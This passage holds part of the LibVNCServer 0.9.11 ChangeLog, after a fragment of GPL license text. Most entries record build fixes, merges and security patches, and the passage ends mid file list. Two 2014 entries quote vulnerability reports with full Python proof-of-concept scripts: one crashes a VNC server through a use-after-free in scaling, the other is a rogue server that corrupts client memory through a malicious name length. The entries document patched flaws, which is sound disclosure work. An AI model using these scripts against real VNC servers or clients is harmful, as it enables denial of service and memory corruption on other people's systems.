copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. , 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Library General Public License instead of this License. libvncserver-LibVNCServer-0.9.11/ChangeLog000066400000000000000000012722571303145525000203400ustar00rootroot000000000000002016-12-29 Christian Beier * README: Fix README markdown. 2016-12-28 Christian Beier * CMakeLists.txt: CMake: version up as well. 2016-12-28 Christian Beier * NEWS: Update NEWS. 2016-12-28 Christian Beier * configure.ac: Version up. 2016-12-28 Christian Beier * libvncserver/main.c: LibVNCServer: fix starting of an onHold-client in threaded mode. Discovered by madscientist159 on 11 Jan 2015: "noted in testing with the threaded server build, whereby if newClientHook() returned RFB_CLIENT_ON_HOLD there was no way to release the hold when the server became ready" 2016-12-09 Christian Beier * : Merge pull request #145 from bkylerussell/websockets Sec-WebSocket-Protocol header fix 2016-12-02 Christian Beier * : Merge pull request #142 from samhed/master Write the correct length for end of header 2016-11-29 Christian Beier * : Merge pull request #140 from vapier/master test/Makefile: use check_PROGRAMS 2015-01-10 Timothy Pearson * README: Update README to reflect change from defaultPtrAddEvent to rfbDefaultPtrAddEvent 2016-11-25 Christian Beier * libvncserver/httpd.c: httpd: rework mime type handling to recognise more types 2016-11-24 Christian Beier * .travis.yml: TravisCI: Another stab at fixing OSX build. See https://github.com/Tarsnap/spiped/pull/92 2016-11-24 Christian Beier * configure.ac: Revert "Hopefully fix building on OSX." This reverts commit 584b23fdbe12edd81119d57ddd378d10e52cc9e1. 2016-11-24 Christian Beier * configure.ac: Hopefully fix building on OSX. 2016-11-24 Christian Beier * .travis.yml: TravisCI: check on OSX as well, test both gcc and clang. 2016-11-24 Christian Beier * libvncclient/rfbproto.c: Fix building on OSX. 2016-11-24 Christian Beier * : Merge pull request #137 from atalax/master Fix two heap buffer overflows 2016-11-18 Christian Beier * : Merge pull request #138 from stweil/master Fix some typos 2016-11-18 Stefan Weil * README, common/zywrletemplate.c, examples/example.c, examples/zippy.c: Fix some typos (it's / its) Signed-off-by: Stefan Weil 2016-11-14 Josef Gajdusek * libvncclient/ultra.c: Fix heap overflow in the ultra.c decoder The Ultra type tile decoder does not use the _safe variant of the LZO decompress function, which allows a maliciuous server to overwrite parts of the heap by sending a larger-than-specified LZO data stream. 2016-11-14 Josef Gajdusek * libvncclient/rfbproto.c: Fix heap overflows in the various rectangle fill functions Altough rfbproto.c does check whether the overall FramebufferUpdate rectangle is too large, some of the individual encoding decoders do not, which allows a malicious server to overwrite parts of the heap. 2016-09-24 Christian Beier * : Merge pull request #129 from bkylerussell/systemd Support systemd socket activation 2016-08-14 Zac Medico * libvncserver/sockets.c: Support autoPort with ipv4 or ipv6 disabled Make it possible to get autoPort behavior with either ipv4 or ipv6 disabled, by setting rfbScreen->ipv6port or rfbScreen->port to a negative number. This will make it possible for x11vnc to enforce its -noipv6 option, as discussed in the following bug report: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=672449 2016-06-05 Christian Beier * NEWS: Update NEWS. 2016-06-05 Christian Beier * rfb/rfbclient.h: Fix rfbClientSwap64IfLE broken in fe7df89fb1777b4fd303d5a601541f6062caf8ea 2016-06-05 Christian Beier * : Merge pull request #84 from plettix/master fix for issue 81 2016-05-30 Christian Beier * CMakeLists.txt: CMake: Add maybe-found OpenSSL libs to libvncclient. 2016-05-30 Christian Beier * CMakeLists.txt: CMake: Not all platforms have endian.h, so use the build system's endianess check. 2016-05-30 Christian Beier * rfb/rfbproto.h: Only include endian.h if present on system. 2016-05-30 Christian Beier * : Merge pull request #105 from cgeorges82/master fix for issue #97. Also, this fixes cmake builds for other platforms. 2016-05-13 George Fleury * libvncserver/sockets.c: Avoid calling SSL_pending when connection is already closed Avoid calling SSL_pending when connection is already closed, calling SSL_pending with connection already closed is crashing. To reproduce, open a secure websocket binay protocol connection with libvncserver compiled with OpenSSL, and when libvncserver is waiting for rfbProcessClientProtocolVersion send any invalid char, it will fail and call rfbCloseClient whith destroy all SSL context, calling SSL_pending after that will generate a invalid access. 2016-04-24 Christian Beier * : Merge pull request #103 from rdieter/master use namespaced vnc_max macro (issue #102) 2016-04-23 gbdj * libvncclient/tls_gnutls.c, libvncclient/vncviewer.c, rfb/rfbclient.h: libvncclient/tls_gnutls.c: Add hooks to WriteToTLS() for optional protection by mutex. Fix upstream issue #100 Squashed commit of the pull request #101 : commit 1c7e01e81862bc46508e675e83c74cc6d63224b0 commit 1e749b094d6696380d3f0540a00138d7e3427874 2016-02-18 Rex Dieter * libvncclient/listen.c, libvncserver/httpd.c, libvncserver/rfbserver.c, libvncserver/sockets.c, rfb/rfbproto.h: use namespaced rfbMax macro (issue #102) Not using generic 'max', avoids conflicts with stl_algobase.h 2016-04-15 Christian Beier * : Merge pull request #115 from solofox/master Enable AF_UNIX socket: ignore setsockopt TCP_NODELAY failure. 2016-04-13 Christian Beier * : Merge pull request #114 from zbierak/master Increase MAX_ENCODINGS value to accommodate more client encodings 2016-04-12 Christian Beier * : Merge pull request #110 from AlexejStukov/patch-1 break statement out of case 2016-04-12 zbierak * libvncclient/rfbproto.c: Fix buffer overflow when applying client encodings 2016-04-12 Christian Beier * travis.yml: TravisCI: remove old config. 2016-04-12 Christian Beier * .travis.yml: TravisCI: add autoreconf step. 2016-04-12 Christian Beier * .travis.yml: TravisCI: the config starts with a dot! 2016-04-12 Christian Beier * README, README.md: Add a README.md and and Travis CI status badge. 2016-04-12 Christian Beier * travis.yml: Add a minimalistic config for Travis CI. 2016-04-08 Christian Beier * : Merge pull request #109 from zbierak/master Fix memory access error in camera.c example 2016-04-04 zbierak * examples/camera.c: Fix memory access error in camera.c example 2016-03-05 Cédric Georges * CMakeLists.txt, libvncclient/tls_gnutls.c: Append missing include directory for GNUTLS and OPENSSL in CMake project Append support of gnutls > v 2.99.01 (gnutls_transport_set_global_errno have a different signature) 2016-03-05 Cédric Georges * CMakeLists.txt: re-up comment 2016-03-05 Cédric Georges * CMakeLists.txt, rfb/rfbconfig.h.cmake: Append IPv6 option in CMake Project 2016-01-27 Christian Beier * : Merge pull request #99 from spaceone/master Ignore null pointers in FillRectangle() and CopyRectangleFromRectangle() 2016-01-27 SpaceOne * libvncclient/rfbproto.c: Ignore null pointers in FillRectangle() and CopyRectangleFromRectangle() 2015-12-03 Christian Beier * rfb/rfbclient.h: Be a bit clearer with the cursorshape documentation for libvncclient. 2015-12-03 Christian Beier * libvncclient/cursor.c, rfb/rfbclient.h: Properly document HandleCursorShape and GotCursorShapeProc. 2015-10-10 Christian Beier * : Merge pull request #90 from stweil/fix Fix some recently introduced regressions 2015-10-10 Stefan Weil * rfb/rfbproto.h: Fix definition of POSIX data types Commit 92f558482d94c5152174a1983a40863bd6b07911 added stdint.h to get the type definitions, but included it after the first use of int8_t in builds for Windows. Signed-off-by: Stefan Weil 2015-10-10 Stefan Weil * rfb/rfbproto.h: Fix endianness detection Commit 97f442ef2aa65ade6bea11e90054c57b90abbaca tried to improve the endianness detection, but introduced a typo and problems for Windows builds (no endian.h, different definition of LIBVNCSERVER_WORDS_BIGENDIAN). Fix both issues. Signed-off-by: Stefan Weil 2015-10-09 Stefan Weil * ChangeLog, Doxyfile, NEWS, README, client_examples/vnc2mpg.c, common/zywrletemplate.c, examples/camera.c, libvncclient/listen.c, libvncclient/sockets.c, libvncserver/cargs.c, libvncserver/scale.c, libvncserver/sockets.c, libvncserver/tight.c, libvncserver/tightvnc-filetransfer/filetransfermsg.c, libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c, libvncserver/tightvnc-filetransfer/rfbtightproto.h, libvncserver/tightvnc-filetransfer/rfbtightserver.c, libvncserver/ultra.c, libvncserver/zlib.c, rfb/keysym.h, rfb/rfb.h, rfb/rfbproto.h, webclients/java-applet/ssl/README, webclients/java-applet/ssl/proxy.vnc, webclients/java-applet/ssl/ss_vncviewer, webclients/java-applet/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, webclients/novnc/include/display.js, webclients/novnc/include/rfb.js, webclients/novnc/include/ui.js: Fix some typos (found by codespell) Signed-off-by: Stefan Weil 2015-07-22 plettix * common/md5.c: another shift fix 2015-07-22 plettix * rfb/rfb.h, rfb/rfbclient.h: shift fixes - if an integer is a negative number then the return value of "Swap32IfLE" was -1 2015-07-07 plettix * libvncserver/websockets.c: fix for issue 81 use different buffers for decode and encode 2015-05-28 Christian Beier * CMakeLists.txt, configure.ac, rfb/rfbproto.h: Instead of letting the build system define endianess, rely on endian.h. 2015-05-28 Christian Beier * .gitignore, CMakeLists.txt, Doxyfile, Makefile.am, configure.ac, libvncserver/Makefile.am, m4/ax_create_stdint_h.m4, rfb/rfbproto.h: Do away with rfbint.h generation and use stdint.h directly instead. 2015-04-17 Christian Beier * libvncclient/rfbproto.c, libvncclient/vncviewer.c: Re-add the useful bits of 9aa9ac59b4cb10bfca93456a3098e348de172d7f. 2015-04-17 Christian Beier * libvncclient/Makefile.am: Revert "Add libvncclient/h264.c to dist tarball." This reverts commit 9aa9ac59b4cb10bfca93456a3098e348de172d7f. 2015-04-17 Christian Beier * client_examples/gtkvncviewer.c, configure.ac, libvncclient/Makefile.am, libvncclient/h264.c, libvncclient/rfbproto.c, libvncclient/vncviewer.c, rfb/rfbproto.h: Revert "LibVNCClient: Add H.264 encoding for framebuffer updates" This reverts commit d891478ec985660c03f95cffda0e6a1ad4ba350c. Conflicts: configure.ac libvncclient/h264.c 2015-04-17 Christian Beier * : Merge pull request #70 from maxnet/master httpd: disallow directory traversal 2015-04-17 Christian Beier * : Merge pull request #72 from lopago/fix-segfaults prevent segfaults due to uninitialized memory 2015-04-15 Thomas Anderson * configure.ac: configure.ac: Use AC_CHECK_TOOL for cross-compiling support. When cross-compiling the ar program has the appropriate prefix prepended. Respect that here and have autotools autodetect the appropriate tool. 2015-04-13 Benjamin Dürholt * libvncserver/rfbssl_gnutls.c, libvncserver/tight.c: Changed C++ style comments to C ones 2015-04-10 Benjamin Dürholt * libvncserver/rfbssl_gnutls.c, libvncserver/tight.c: prevent segfault 2015-03-29 Floris Bos * libvncserver/httpd.c: httpd: disallow directory traversal Signed-off-by: Floris Bos 2015-03-27 Jay Carlson * libvncclient/rfbproto.c: Avoid divide-by-zero in raw encoding (OSX RealVNC) OS X RealVNC server crashes out Remmina because the server can provoke bytesPerLine to be zero. Assume this is coding for zero lines. The condition could be checked before the calculation of bytesPerLine. I don’t understand the preconditions of this code to say one way or the other. 2015-02-09 Peter Spiess-Knafl * libvncclient/Makefile.am, libvncserver/Makefile.am: Set autotools SOVERSION. 2015-02-05 Christian Beier * : Merge pull request #63 from LibVNC/sha1rework Replace SHA1 implementation with the one from RFC 6234. 2015-01-27 Christian Beier * : Merge pull request #60 from cinemast/master fixing SOVERSION and .so VERSION 2015-01-18 Christian Beier * webclients/index.vnc: Update link to project home page in index.vnc. 2015-01-18 Christian Beier * : Merge pull request #57 from maxnet/master Fix handling of multiple VNC commands per websockets frame 2015-01-16 Christian Beier * : Merge pull request #56 from maxnet/master Only advertise xvp support when xvpHook is set 2015-01-06 Christian Beier * AUTHORS: Add Floris to AUTHORS. 2015-01-06 Christian Beier * NEWS: Update NEWS. 2015-01-02 Christian Beier * : Merge pull request #51 from maxnet/master Initialize libgcrypt before use 2015-01-02 Christian Beier * : Merge pull request #50 from maxnet/master tls_openssl.c: define _XOPEN_SOURCE for extra POSIX functionality 2014-12-30 Christian Beier * libvncclient/sockets.c: Fix another MinGW64 build issue. WSAEWOULDBLOCK is not MinGW-specific. 2014-12-30 Christian Beier * libvncserver/rfbserver.c: Fix building with mingw-w64. 2014-12-30 Christian Beier * configure.ac: confgure.ac: Remove MinGW linker flag that's incompatible with mingw-w64. 2014-12-30 Christian Beier * autogen.sh: autogen.sh: pass cmdline params to configure call. 2014-12-29 Christian Beier * : Merge pull request #49 from maxnet/master Fix libva related compile errors 2014-12-29 Floris Bos * configure.ac, libvncclient/h264.c: Fix libva related compile errors - Make h264.c compile with recent libva version by including va_compat.h - Only enable libva if libva-x11 is installed - Modified configure help text Previous help text suggested libva was only build when --with-libva was specified, while actual behavior is to build it by default. Warning: THIS CODE IS UNTESTED. Lacking a h.264 capable VNC server Also no attempt is made to support platforms not using X11 Signed-off-by: Floris Bos 2014-10-31 Christian Beier * README: Add VNCpp to projects using LibVNC. 2014-10-21 Christian Beier * ChangeLog: Update ChangeLog for 0.9.10. 2014-10-21 Christian Beier * NEWS: Update NEWS. 2014-10-21 Christian Beier * libvncserver/sockets.c: Update comments regarding rfbClientConnectionGone(). 2014-10-21 Christian Beier * libvncserver/scale.c: Fix Use-After-Free vulnerability in LibVNCServer wrt scaling. Reported by Ken Johnson . The vulnerability would occur in both the rfbPalmVNCSetScaleFactor and rfbSetScale cases in the rfbProcessClientNormalMessage function of rfbserver.c. Sending a valid scaling factor is required (non-zero) if (msg.ssc.scale == 0) { rfbLogPerror("rfbProcessClientNormalMessage: will not accept a scale factor of zero"); rfbCloseClient(cl); return; } rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetScaleMsg, sz_rfbSetScaleMsg); rfbLog("rfbSetScale(%d)\n", msg.ssc.scale); rfbScalingSetup(cl,cl->screen->width/msg.ssc.scale, cl->screen->height/msg.ssc.scale); rfbSendNewScaleSize(cl); << This is the call that can trigger a free. return; at the end, both cases there is a call the rfbSendNewScaleSize function, where if the connection is subsequently disconnected after sending the VNC scaling message can lead to a free occurring. else { rfbResizeFrameBufferMsg rmsg; rmsg.type = rfbResizeFrameBuffer; rmsg.pad1=0; rmsg.framebufferWidth = Swap16IfLE(cl->scaledScreen->width); rmsg.framebufferHeigth = Swap16IfLE(cl->scaledScreen->height); rfbLog("Sending a response to a UltraVNC style frameuffer resize event (%dx%d)\n", cl->scaledScreen->width, cl->scaledScreen->height); if (rfbWriteExact(cl, (char *)&rmsg, sz_rfbResizeFrameBufferMsg) < 0) { rfbLogPerror("rfbNewClient: write"); rfbCloseClient(cl); rfbClientConnectionGone(cl); << Call which may can lead to a free. return FALSE; } } return TRUE; Once this function returns, eventually rfbClientConnectionGone is called again on the return from rfbProcessClientNormalMessage. In KRFB server this leads to an attempt to access client->data. POC script to trigger the vulnerability: ---snip--- import socket,binascii,struct,sys from time import sleep class RFB: INIT_3008 = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x30\x38\x0a" AUTH_NO_PASS = "\x01" AUTH_PASS = "\x02" SHARE_DESKTOP = "\x01" def AUTH_PROCESS(self,data,flag): if flag == 0: # Get security types secTypeCount = data[0] secType = {} for i in range(int(len(secTypeCount))): secType[i] = data[1] return secType elif flag == 1: # Get auth result # 0 means auth success # 1 means failure return data[3] def AUTH_PROCESS_CHALLENGE(self, data, PASSWORD): try: from Crypto.Cipher import DES except: print "Error importing crypto. Please fix or do not require authentication" sys.exit(1) if len(PASSWORD) != 8: PASSWORD = PASSWORD.ljust(8, '\0') PASSWORD_SWAP = [self.reverse_bits(ord(PASSWORD[0])),self.reverse_bits(ord(PASSWORD[1])),self.reverse_bits(ord(PASSWORD[2])),self.reverse_bits(ord(PASSWORD[3])),self.reverse_bits(ord(PASSWORD[4])),self.reverse_bits(ord(PASSWORD[5])),self.reverse_bits(ord(PASSWORD[6])),self.reverse_bits(ord(PASSWORD[7]))]PASSWORD = (struct.pack("BBBBBBBB",PASSWORD_SWAP[0],PASSWORD_SWAP[1],PASSWORD_SWAP[2],PASSWORD_SWAP[3],PASSWORD_SWAP[4],PASSWORD_SWAP[5],PASSWORD_SWAP[6],PASSWORD_SWAP[7]))crypto = DES.new(PASSWORD) return crypto.encrypt(data) def reverse_bits(self,x): a=0 for i in range(8): a += ((x>>i)&1)<<(7-i) return a def main(argv): print "Proof of Concept" print "Copyright TELUS Security Labs" print "All Rights Reserved.\n" try: HOST = sys.argv[1] PORT = int(sys.argv[2]) except: print "Usage: python setscale_segv_poc.py [password]" sys.exit(1) try: PASSWORD = sys.argv[3] except: print "No password supplied" PASSWORD = "" vnc = RFB() remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM) remote.connect((HOST,PORT)) # Get server version data = remote.recv(1024) # Send 3.8 version remote.send(vnc.INIT_3008) # Get supported security types data = remote.recv(1024) # Process Security Message secType = vnc.AUTH_PROCESS(data,0) if secType[0] == "\x02": # Send accept for password auth remote.send(vnc.AUTH_PASS) # Get challenge data = remote.recv(1024) # Send challenge response remote.send(vnc.AUTH_PROCESS_CHALLENGE(data,PASSWORD)) elif secType[0] == "\x01": # Send accept for None pass remote.send(vnc.AUTH_NO_PASS) else: print 'The server sent us something weird during auth.' sys.exit(1) # Get result data = remote.recv(1024) # Process result result = vnc.AUTH_PROCESS(data,1) if result == "\x01": # Authentication failure. data = remote.recv(1024) print 'Authentication failure. Server Reason: ' + str(data) sys.exit(1) elif result == "\x00": print "Authentication success." else: print 'Some other authentication issue occured.' sys.exit(1) # Send ClientInit remote.send(vnc.SHARE_DESKTOP) # Send malicious message print "Sending malicious data..." remote.send("\x08\x08\x00\x00") remote.close() if __name__ == "__main__": main(sys.argv) ---snap--- 2014-10-14 dscho * : Merge pull request #43 from maksqwe/fix_rfbSelectBox Fix selData.buttonWidth calculation 2014-10-10 Christian Beier * libvncclient/rfbproto.c: Fix possible libvncclient ServerInit memory corruption. This fixes the following oCERT report (oCERT-2014-008 pt.2): There is a similar vulnerability to the previous one I sent. This is related to the ServerInit message where the width, the height of the server's framebuffer, its pixel format, and the name are sent to the client. The name can be used in a malicious manner to trigger a memory corruption in the client. Field Size --------------------------------- name-length [4] name-string [name-length] Below you will find a PoC script to show the vulnerability. This was tested on Fedora 20 with the latest version of krdc. I have noticed something, where the memory corruption causes the program to hang but allows you to try to disconnect. After this it hangs. Occasionally there will be segmentation fault in memcpy. This can become more reliable if you connect to a different VNC server first (Or the wrong port on the malicious server) then connecting to the malicious port. Every time I accidentally made the wrong VNC connection attempt the next time I connected it segfault'd. Just run the script it will listen on port 5900 and connect to it with krdc for example. I have observed Remmina crash more reliably. import socket,struct,sys HOST = "" PORT = 5900 c = socket.socket(socket.AF_INET, socket.SOCK_STREAM) c.bind((HOST,PORT)) c.listen(1) conn,addr = c.accept() print "Connected by ", addr protocolVersion3008 = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x30\x38\x0a" conn.send(protocolVersion3008) data = conn.recv(1024) # Receive the version from them. secTypeNone = "\x01\x01" secTypeAuth = "\x01\x02" conn.send(secTypeNone) data = conn.recv(1024) # Receive the secType choice from them. secResultOk = "\x00" * 4 secResultNo = "\x00\x00\x00\x01" conn.send(secResultOk) data = conn.recv(1024) # Receive the ClientInit (Shared-flag). frameBufferWidth = 0x0480 frameBufferHeight = 0x0360 bitsPerPixel = 0x20 depth = 0x18 bigEndian = 0x1 trueColor = 0x0 redM = 0x0 greenM = 0x0 blueM = 0x0 redS = 0x0 greenS = 0x0 blueS = 0x0 padding = "\x00\x00\x00" nameLength = 0xffffffff nameString = "AA" * 0xFFFF + "\x00\x0a" conn.send( struct.pack(">HHBBBBHHHBBB",frameBufferWidth, frameBufferHeight, bitsPerPixel, depth, bigEndian, trueColor, redM, greenM, blueM, redS, greenS, blueS) + padding + struct.pack(">I", nameLength) + nameString ) c.close() 2014-10-10 Christian Beier * libvncclient/sockets.c: Fix potential memory corruption in libvncclient. Fixes (maybe amongst others) the following oCERT report ([oCERT-2014-008]): LibVNCServer HandleRFBServerMessage rfbServerCutText malicious msg.sct.length It looks like there may be a chance for potential memory corruption when a LibVNCServer client attempts to process a Server Cut Text message. case rfbServerCutText: { char *buffer; if (!ReadFromRFBServer(client, ((char *)&msg) + 1, sz_rfbServerCutTextMsg - 1)) return FALSE; msg.sct.length = rfbClientSwap32IfLE(msg.sct.length); << Retrieve malicious length buffer = malloc(msg.sct.length+1); << Allocate buffer. Can return 0x0 if (!ReadFromRFBServer(client, buffer, msg.sct.length)) << Attempt to write to buffer return FALSE; buffer[msg.sct.length] = 0; << Attempt to write to buffer if (client->GotXCutText) client->GotXCutText(client, buffer, msg.sct.length); << Attempt to write to buffer free(buffer); break; } If a message is provided with an extremely large size it is possible to cause the malloc to fail, further leading to an attempt to write 0x0. 2014-10-09 Christian Beier * NEWS: Update NEWS for 0.9.10. 2014-10-09 Christian Beier * AUTHORS: Update AUTHORS. 2014-10-07 dscho * : Merge pull request #42 from LibVNC/autotools-fix-revisited Add autoconf macros that might not be installed with a usual autotools setup 2014-10-07 Johannes Schindelin * autogen.sh: Add back a working autogen.sh There was no reason to get rid of the convenient script. Most developers who are not in love with autoconf fail to remember that autoreconf invocation, therefore it is better to have something working in place. Signed-off-by: Johannes Schindelin 2014-09-01 Nicolas Ruff * libvncserver/rfbserver.c: Fix stack-based buffer overflow There was a possible buffer overflow in rfbFileTransferOffer message when processing the FileTime. Signed-off-by: Johannes Schindelin 2014-10-07 dscho * : Merge pull request #41 from newsoft/master Fixing 2 security issues 2014-10-06 newsoft * libvncserver/scale.c: Make sure that no integer overflow could occur during scaling 2014-10-06 Christian Beier * libvncclient/Makefile.am: Add libvncclient/h264.c to dist tarball. Otherwise the sources from a 'make dist' package wouldn't compile. 2014-10-03 Christian Beier * m4/.gitignore: Really add empty m4 subdirectory. This change kinda got lost with the last commit re-splitting. 2014-10-02 Christian Beier * : Merge pull request #38 from LibVNC/autotools-fix-revisited Autotools fix revisited. 2014-10-02 Christian Beier * webclients/novnc/LICENSE.txt, webclients/novnc/README.md, webclients/novnc/include/base.css, webclients/novnc/include/base64.js, webclients/novnc/include/black.css, webclients/novnc/include/blue.css, webclients/novnc/include/chrome-app/tcp-client.js, webclients/novnc/include/des.js, webclients/novnc/include/display.js, webclients/novnc/include/input.js, webclients/novnc/include/jsunzip.js, webclients/novnc/include/keyboard.js, webclients/novnc/include/keysym.js, webclients/novnc/include/keysymdef.js, webclients/novnc/include/playback.js, webclients/novnc/include/rfb.js, webclients/novnc/include/ui.js, webclients/novnc/include/util.js, webclients/novnc/include/web-socket-js/web_socket.js, webclients/novnc/include/websock.js, webclients/novnc/include/webutil.js, webclients/novnc/vnc.html, webclients/novnc/vnc_auto.html: Update noVNC HTML5 client to latest version from https://github.com/kanaka/noVNC. 2014-09-21 Brian Bidulock * .gitignore: add a few more ignores 2014-09-21 Brian Bidulock * autogen.sh: removed autogen.sh - no longer applicable: use autoreconf -fiv 2014-10-02 Christian Beier * INSTALL, acinclude.m4, ltmain.sh: Remove autotools-related files that will get installed by autoreconf -i. 2014-10-02 Brian Bidulock * Makefile.am, configure.ac: Use an m4 script subdirectory, fix automake init and two macro names. 2014-10-02 Brian Bidulock * client_examples/Makefile.am, examples/Makefile.am, examples/android/Makefile.am, libvncclient/Makefile.am, libvncserver/Makefile.am, test/Makefile.am: Rename obsolete INCLUDES to AM_CPPFLAGS 2014-09-30 Johannes Schindelin * libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c: Close unclosed comments ;-) Signed-off-by: Johannes Schindelin 2014-09-30 dscho * : Merge pull request #36 from danielgindi/master A forgotten `#ifdef WIN32` broke UNIX build. 2014-09-30 dscho * : Merge pull request #33 from danielgindi/master More MSVC adjustments, now focuses on the libvncserver 2014-09-20 Daniel Cohen Gindi * libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c: These are UNIX headers, and are not available on MSVC 2014-09-20 Daniel Cohen Gindi * rfb/rfb.h: Those are generally the windows headers, not just MinGW 2014-09-20 Daniel Cohen Gindi * libvncserver/rfbserver.c: On windows, use the Win32 calls for directory enumerations. We also do not need the conversion between UNIX values to Windows values in the RTF_FIND_DATA struct, as we already are on windows. 2014-09-20 Daniel Cohen Gindi * libvncserver/httpd.c, libvncserver/rfbserver.c, libvncserver/sockets.c, rfb/rfbclient.h: Generally adjusting headers for compiling on windows without the mixing of Winsock 1 and 2. 2014-09-20 Daniel Cohen Gindi * libvncserver/rfbserver.c: Just use a macro to bridge to the Win32 version of `mkdir` The additional compat_mkdir function was not necessary at all. 2014-09-20 Daniel Cohen Gindi * compat/msvc/sys/time.h: Use correct `winsock2.h` version header instead of winsock.h. `windows.h` is referring to `winsock.h` (unless the `WIN32_LEAN_AND_MEAN` is defined). The structs used in this header are defined in `winsock2.h` or in `winsock.h`, but we are using Winsock2 of course! So we have to include winsock2.h and refrain from including windows.h here 2014-09-20 Daniel Cohen Gindi * libvncserver/httpd.c, libvncserver/rfbserver.c, libvncserver/sockets.c: Fixed a violation of the C89 standard ("declarations must come before instructions") 2014-09-20 Daniel Cohen Gindi * libvncserver/tightvnc-filetransfer/filetransfermsg.c: A windows version for directory enumerations Basically taken from https://github.com/danielgindi/FileDir with some adjustments 2014-09-20 Daniel Cohen Gindi * libvncserver/tightvnc-filetransfer/filetransfermsg.c: MSVC also has the __FUNCTION__ predefined 2014-09-20 Daniel Cohen Gindi * libvncserver/tightvnc-filetransfer/filetransfermsg.c, libvncserver/tightvnc-filetransfer/filetransfermsg.h: `CreateDirectory` might clash with the `CreateDirectoryA`/`CreateDirectoryW` macros on MSVC 2014-09-20 Daniel Cohen Gindi * libvncserver/tightvnc-filetransfer/filetransfermsg.c: Fail when NULL is passed to CreateFileListInfo() Passing NULL to sprintf() would most likely crash the program. 2014-09-20 Daniel Cohen Gindi * libvncclient/rfbproto.c, libvncclient/vncviewer.c, libvncserver/rfbserver.c, libvncserver/sockets.c, libvncserver/stats.c, libvncserver/websockets.c: `strings.h` and `resolv.h` are not available on MSVC, and some POSIX functions are renamed or deprecated For all of those missing/deprecated POSIX functions, we just add a macro mapping to the _underscored version of MSVC. 2014-09-09 Christian Beier * client_examples/Makefile.am: The HAVE_X11 define is not there anymore, but we don't need it either. 2014-09-09 Christian Beier * Makefile.am, configure.ac, vncterm/ChangeLog, vncterm/LinuxVNC.c, vncterm/Makefile.am, vncterm/README, vncterm/TODO, vncterm/VNCommand.c, vncterm/VNConsole.c, vncterm/VNConsole.h, vncterm/example.c, vncterm/vga.h: Move vncterm to https://github.com/LibVNC/vncterm. 2014-09-09 Christian Beier * VisualNaCro/.gitignore, VisualNaCro/AUTHORS, VisualNaCro/ChangeLog, VisualNaCro/Makefile.am, VisualNaCro/NEWS, VisualNaCro/README, VisualNaCro/autogen.sh, VisualNaCro/configure.ac, VisualNaCro/default8x16.h, VisualNaCro/nacro.c, VisualNaCro/nacro.h, VisualNaCro/recorder.pl: Move VisualNaCro to https://github.com/LibVNC/VisualNaCro. 2014-09-09 Christian Beier * prepare_x11vnc_dist.sh: Move prepare_x11vnc_dist.sh over to x11vnc repo. 2014-09-03 Christian Beier * Makefile.am, configure.ac: Remove x11vnc from autotools build system. 2014-09-03 Christian Beier * tightvnc-1.3dev5-vncviewer-alpha-cursor.patch: Remove tightvnc-1.3dev5-vncviewer-alpha-cursor.patch. 2014-09-03 Christian Beier * x11vnc/.cvsignore, x11vnc/8to24.c, x11vnc/8to24.h, x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README, x11vnc/RELEASE-NOTES, x11vnc/allowed_input_t.h, x11vnc/appshare.c, x11vnc/avahi.c, x11vnc/avahi.h, x11vnc/blackout_t.h, x11vnc/cleanup.c, x11vnc/cleanup.h, x11vnc/connections.c, x11vnc/connections.h, x11vnc/cursor.c, x11vnc/cursor.h, x11vnc/enc.h, x11vnc/enums.h, x11vnc/gui.c, x11vnc/gui.h, x11vnc/help.c, x11vnc/help.h, x11vnc/inet.c, x11vnc/inet.h, x11vnc/keyboard.c, x11vnc/keyboard.h, x11vnc/linuxfb.c, x11vnc/linuxfb.h, x11vnc/macosx.c, x11vnc/macosx.h, x11vnc/macosxCG.c, x11vnc/macosxCG.h, x11vnc/macosxCGP.c, x11vnc/macosxCGP.h, x11vnc/macosxCGS.c, x11vnc/macosxCGS.h, x11vnc/macosx_opengl.c, x11vnc/macosx_opengl.h, x11vnc/misc/.cvsignore, x11vnc/misc/LICENSE, x11vnc/misc/Makefile.am, x11vnc/misc/README, x11vnc/misc/Xdummy, x11vnc/misc/blockdpy.c, x11vnc/misc/connect_switch, x11vnc/misc/desktop.cgi, x11vnc/misc/dtVncPopup, x11vnc/misc/enhanced_tightvnc_viewer/COPYING, x11vnc/misc/enhanced_tightvnc_viewer/README, x11vnc/misc/enhanced_tightvnc_viewer/Windows/README.txt, x11vnc/misc/enhanced_tightvnc_viewer/Windows/sshvnc.bat, x11vnc/misc/enhanced_tightvnc_viewer/Windows/tsvnc.bat, x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl, x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/esound/downl oad.url, x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/openssl/down load.url, x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/openssl/loca tion.url, x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/plink/downlo ad.url, x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/plink/licenc e.url, x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/stunnel/down load.url, x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/stunnel/loca tion.url, x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/vncviewer/do wnload.url, x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/vncviewer/lo cation.url, x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/stunnel-client.co nf, x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/stunnel-server.co nf, x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/w98/location.url, x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.Power.Macintosh/.cp over, x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.Power.Macintosh/vnc viewer.sh, x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.i386/.cpover, 